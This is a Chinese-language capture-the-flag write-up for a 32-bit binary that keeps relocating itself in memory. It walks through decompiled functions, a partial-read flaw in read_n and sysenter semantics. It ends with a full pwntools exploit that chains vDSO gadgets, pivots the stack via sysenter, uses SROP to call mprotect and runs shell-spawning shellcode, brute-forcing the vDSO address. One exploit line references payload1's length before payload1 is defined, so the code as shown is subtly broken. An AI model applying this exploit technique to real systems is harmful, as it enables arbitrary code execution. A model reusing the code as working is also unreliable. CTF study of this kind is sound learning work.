32位静态链接ELF,checksec只开了NX
不过事实上这个程序自己实现了一个类似ASLR的东西,并且在程序运行流程中会运行不止一次
这会导致程序的基址和栈基址一直在变
程序没有main函数,流程在start函数里
start函数如下(已经经过重命名)
void __cdecl start(int a1) { int v1; // [esp-1Ch] [ebp-78h] int v2; // [esp-18h] [ebp-74h] mode_t v3; // [esp-14h] [ebp-70h] int v4; // [esp-14h] [ebp-70h] int v5; // [esp-10h] [ebp-6Ch] int v6; // [esp-Ch] [ebp-68h] int v7; // [esp-8h] [ebp-64h] int v8; // [esp-4h] [ebp-60h] int fda; // [esp+0h] [ebp-5Ch] int *choice; // [esp+0h] [ebp-5Ch] _DWORD addr[19]; // [esp+4h] [ebp-58h] BYREF int *v12; // [esp+50h] [ebp-Ch] v12 = &a1; signal(14, (int)alarm_handler); alarm(0x1Eu); fda = open("/dev/urandom", 0, v3); read(fda, addr, 0x40u); close(fda); dword_804EB40 = &dword_8048000; random_seed = 0; ((void (__cdecl *)(_DWORD *))sub_80485D0)(addr); hello(); ((void (__stdcall *)(int, int, int, int, int, int, int, int, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))randomize)( v1, v2, v4, v5, v6, v7, v8, fda, addr[0], addr[1], addr[2], addr[3], addr[4], addr[5], addr[6], addr[7], addr[8], addr[9], addr[10], addr[11], addr[12], addr[13], addr[14], addr[15]); while ( 1 ) { choice = (int *)menu(); alarm(0x1Eu); switch ( (unsigned int)choice ) { case 0u: exit(0); case 1u: display_info(); break; case 2u: ((void (*)(void))change_random)(); break; case 3u: view_state_info(); break; case 4u: ((void (*)(void))test_stack_smash)(); break; default: v12 = choice; write(1, "Unknown command\n", 0x10u); break; } } }
在randomize中会对eip进行老地址向新地址的跳转
randomize函数如下
int __usercall sub_80481A6@<eax>(int a1@<edi>, int a2@<esi>) { size_t v2; // ecx int v3; // edi int v4; // esi _DWORD *v5; // ecx unsigned int v6; // eax char *v7; // edx int i; // ecx unsigned int v9; // eax int v11; // [esp-10h] [ebp-58h] int v12; // [esp-Ch] [ebp-54h] int v13; // [esp-8h] [ebp-50h] __int64 seedl; // [esp+0h] [ebp-48h] _DWORD *v15; // [esp+8h] [ebp-40h] int v16; // [esp+Ch] [ebp-3Ch] int v17; // [esp+10h] [ebp-38h] int v18; // [esp+14h] [ebp-34h] int v19; // [esp+18h] [ebp-30h] void *expect; // [esp+1Ch] [ebp-2Ch] void *addya; // [esp+1Ch] [ebp-2Ch] unsigned int actual; // [esp+20h] [ebp-28h] int v23; // [esp+24h] [ebp-24h] double v24[4]; // [esp+28h] [ebp-20h] BYREF int savedregs; // [esp+48h] [ebp+0h] BYREF do { v24[0] = randf(seedl, HIDWORD(seedl)) * 4294967295.0; seedl = (__int64)v24[0]; expect = (void *)(seedl & 0xFFFFF000); actual = mmap(v2, (int)&tbyte_804CA6C, (off_t)&savedregs, a1, a2, 0); } while ( (seedl & 0xFFFFF000) != actual ); qmemcpy(expect, dword_804EB40, 0x7000u); mprotect(expect, 0x4000u, 5); v3 = (__int64)v24[0] & 0xFFFFF000; v4 = (int)dword_804EB40; LOWORD(v16) = HIWORD(v16) | 0xC00; change_addr( v11, v12, v13, v3, seedl, HIDWORD(seedl), &dword_804EB40, v16, v17, v18, v19, expect, actual, (__int64)v24[0], LODWORD(v24[0])); v5 = (_DWORD *)v24 + 1; do { v6 = *v5 - v4; if ( v6 <= 0x7000 ) *v5 = v3 + v6; ++v5; } while ( (unsigned int)v5 < ((((unsigned int)v24 + 4) >> 12) + 1) << 12 ); v7 = (char *)&tbyte_804CA6C + v3 - v4 - 12; for ( i = 0; i != 208; i += 4 ) { v9 = *(_DWORD *)&v7[i] - v4; if ( v9 <= 0x7000 ) *(_DWORD *)&v7[i] = v3 + v9; } munmap(v4, 28672); *v15 = addya; **(_DWORD **)((char *)&off_804CA64 + v3 + 0 - v4) = v23; return signal(14, (int)alarm_handler + v3 + 0 - v4); }
具体eip跳转是在change_addr中实现的
change_addr函数如下
跳转发生在jmp eax处
randomize函数中randf函数如下
long double randf() { char v0; // bl int v1; // esi int v2; // eax int v3; // ecx unsigned int v4; // eax int v5; // esi unsigned int v7; // [esp+0h] [ebp-28h] unsigned int *v8; // [esp+4h] [ebp-24h] __int64 v9; // [esp+8h] [ebp-20h] v0 = dword_804CB20; v1 = unk_804EB48; v9 = ((_BYTE)dword_804CB20 + 15) & 0xF; v8 = (unsigned int *)(unk_804EB48 + 4 * v9); v7 = *v8; v2 = *(_DWORD *)(v1 + 4 * ((v0 + 13) & 0xF)) ^ *(_DWORD *)(unk_804EB48 + 4 * dword_804CB20) ^ (*(_DWORD *)(unk_804EB48 + 4 * dword_804CB20) << 16) ^ (*(_DWORD *)(v1 + 4 * ((v0 + 13) & 0xF)) << 15); v3 = *(_DWORD *)(v1 + 4 * ((v0 + 9) & 0xF)) ^ (*(_DWORD *)(v1 + 4 * ((v0 + 9) & 0xF)) >> 11); *(_DWORD *)(unk_804EB48 + 4 * (((_BYTE)dword_804CB20 + 10) & 0xF)) = v3 ^ v2; v4 = (32 * (v3 ^ v2)) & 0xDA442D24 ^ v3 ^ v2 ^ v2 ^ v7 ^ (4 * v7) ^ (v2 << 18) ^ (v3 << 28); *v8 = v4; v5 = v9; LODWORD(v9) = v4; dword_804CB20 = v5; return (long double)v9 * 2.3283064e-10; }
通过搜索里面唯一的magic number 0xDA442D24可以知道这个随机数生成方法应该是well512
回到start函数,函数提供了一个功能菜单
int sub_804844D() { char v1[29]; // [esp+1h] [ebp-1Dh] BYREF write(1, "Main Menu\n", 0xAu); write(1, "---------\n", 0xAu); write(1, "1. Display info\n", 0x10u); write(1, "2. Change random\n", 0x11u); write(1, "3. View state info\n", 0x13u); write(1, "4. Test stack smash\n", 0x14u); write(1, "-------\n", 8u); write(1, "0. Quit\n", 8u); memset(v1, 0, 5u); sub_80482DC(v1, 3, 10); return sub_80497BF(v1); }
输入1的话会给出一堆文字描述
unsigned int display_info() { write( 1, "Fully Unguessable Convoluted Kinetogenic Userspace Pseudoransomization is a new method where the binary\n", 0x68u); write(1, "is constantly moving around in memory.\n", 0x27u); return write( 1, "It is also capable of moving the stack around randomly and will be able to move the heap around in the future.\n", 0x6Fu); }
输入2的话会改变当前程序的地址
unsigned int __usercall change_random@<eax>(int a1@<edi>, int a2@<esi>) { randomize(a1, a2); return write(1, "App moved to new random location\n", 0x21u); }
输入3的话会给一个与随机数相关的数值
int view_state_info() { return printf("Current Random: %08x\n", random_seed); }
输入4的话会给一次栈溢出的机会
int __usercall test_stack_smash@<eax>(int a1@<edi>, int a2@<esi>) { char addr[14]; // [esp+0h] [ebp-12h] BYREF write(1, "Input buffer is 10 bytes in size. Accepting 100 bytes of data.\n", 0x3Fu); write(1, "This will crash however the location of the stack and binary are unknown to stop code execution\n", 0x60u); randomize(a1, a2); return read_n(addr, 100); }
虽然它说buffer是10bytes,但实际上需要输入22位之后才能覆盖return addr
这里实际上有一个逻辑漏洞,漏洞点在read_n里面
int __cdecl read_n(void *addr, int n) { int sum; // esi int v3; // edi int i; // esi sum = 0; do { v3 = read(0, addr, n - sum); if ( v3 != -1 ) sum += v3; } while ( sum < n ); for ( i = 0; i < v3 - 1; ++i ) randf(); randomize(v3, i); return v3; }
漏洞点是v3 = read(0, addr, n - sum);
实际上正确的应该是v3 = read(0, addr + sum, n - sum);
所以实际上是可以通过分多次输入进行部分覆盖的
不过这次没这么做
既然栈地址和程序基址都一直在变,那么能不能找到一个不变的呢,答案是有的,也就是vdso,可以使用vdso里面的gadget
不过如果直接构造一个SROP的话,读入空间不够,因此需要进行栈迁移
这里有一个方式,就是通过sysenter
0xfd5位置就是这个sysenter,运行它之后会跳转到0xfd9处接着3个pop然后ret
关于sysenter,实际上是用户态Ring3进入内核态Ring0的指令,执行完API之后会调用sysexit从内核态Ring0回到用户态Ring3
调用sysenter时,会进行以下操作
1.将SYSENTER_CS_MSR的值装入cs寄存器
2.将SYSENTER_EIP_MSR的值装入eip寄存器
3.将SYSENTER_CS_MSR的值加8之后(也就是Ring0的堆栈段描述符)装入ss寄存器
4.将SYSENTER_ESP的值装入esp寄存器
5.将特权级切换到Ring0
6.如果EFLAGS寄存器的VM标志被置位,就清楚此标志
7.执行Ring0代码
调用sysexit时,会进行以下操作
1.将SYSENTER_CS_MSR的值加16之后(也就是Ring3的代码段描述符)装入cs寄存器
2.将edx的值装入eip寄存器
3.将SYSENTER_CS_MSR的值加24之后(也就是Ring3的堆栈段描述符)装入ss寄存器
4.将ecx的值装入esp寄存器
5.将特权级切换到Ring3
6.执行Ring3代码
因此,只要在调用sysenter前设置好ecx和edx,那么就可以控制eip和esp
因此思路如下
首先进入功能4,通过程序分次输入,控制最后一次的输入长度是3(目的是让eax=3)
然后利用rop链,修改将剩余的rop链信息输入进vdso_base - 0x4000这段可读写地址中
然后通过sysenter控制程序eip和esp,之后利用mprotect将shellcode地址设为可执行,之后执行shellcode即可
exp如下:
from pwn import * import random #vdso_base = 0xf7ffc000 context.arch = 'i386' context.os = 'linux' shellcode = asm(shellcraft.i386.linux.sh()) #context.log_level = 'debug' def work(io, vdso_base): pop_edx_ecx = vdso_base + 0xfda int_0x80_pop_ebp_edx_ecx = vdso_base + 0xfd7 sysenter = vdso_base + 0xfd5 sigreturn = vdso_base + 0xff1 pop_ebx_ebp = vdso_base + 0x71a shellcode_addr = vdso_base - 0x4000 stack_addr = vdso_base - 0x3800 io.recvuntil('0. Quit\n') io.sendline('4') payload2 = shellcode.ljust(0x800, b'\x90') payload2 += p32(0xdeadbeef) * 3 + p32(sigreturn) frame = SigreturnFrame(kernel = 'amd64') frame.eax = constants.SYS_mprotect frame.ebx = shellcode_addr frame.ecx = 0x1000 frame.edx = 7 frame.eip = int_0x80_pop_ebp_edx_ecx frame.esp = stack_addr + 0x80 payload2 += bytes(frame) payload2 += p32(shellcode_addr) * 40 io.recvuntil('This will crash however the location of the stack and binary are unknown to stop code execution\n') payload1 = b'a' * 22 + p32(pop_edx_ecx) + p32(len(payload1)) + p32(shellcode_addr) payload1 += p32(pop_ebx_ebp) + p32(0) + p32(stack_addr) payload1 += p32(int_0x80_pop_ebp_edx_ecx) + p32(stack_addr) * 3 payload1 += p32(sysenter) payload1 = payload1.ljust(97, b'a') io.send(payload1) sleep(0.2) #gdb.attach(io, 'b *0xf7ffcfd7') io.send('aaa') sleep(0.2) io.send(payload2) sleep(0.2) io.sendline('echo PWN!') res = io.recv() if b'PWN!' not in res: raise Exception('failed') while True: vdso_base = random.choice(range(0xf7f00000, 0xf7fff000, 0x1000)) io = process('./fuckup') try: work(io, vdso_base) #work(io, 0xf7ffc000) except: try: io.close() except: pass continue io.interactive() break